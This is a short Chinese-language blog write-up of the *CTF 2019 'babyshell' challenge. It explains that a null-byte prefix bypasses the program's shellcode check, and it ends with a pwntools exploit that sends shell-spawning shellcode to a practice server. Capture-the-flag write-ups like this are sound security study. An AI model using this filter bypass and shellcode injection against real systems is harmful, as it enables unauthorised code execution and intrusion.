starctf_2019_babyshell 绕过循环检测注入shellcode

现在写题,感觉一道题看了5分钟没思路就想看wp。。。得等这段时间忙完后,改一下这个毛病了。。

 

这是我第一次接触写shellcode题,感触挺大的,原来逆向的攻防和pwn的攻防是没很大差别的(其实以前就感觉到了,毕竟都是劫持)

流程分析

流程还挺简单的,就是让你输入一段shellcode然后通过它的检查即可

 

 这里面检查你的shellcode是否非法

 

 看了很多师傅的wp,发现这道题不只一种解,然后自己思考了一下,自己编写shellcode的话,确实有很多方法可以解这道题

上面的检查可以通过\x00来绕过检查,在直接自己编写shellcode即可

感谢两位师傅的wp:

https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/ywm7v3

https://www.cnblogs.com/Rookle/p/12895895.html

 exp:

from pwn import *

p=remote('node3.buuoj.cn',29348)
context.arch = "amd64"
p.recvuntil('plz:')
payload=b'\x00j\x00'+asm(shellcraft.sh())


p.sendline(payload)

p.interactive()

 

posted @ 2020-12-01 20:18  PYozo_free  阅读(525)  评论(0编辑  收藏  举报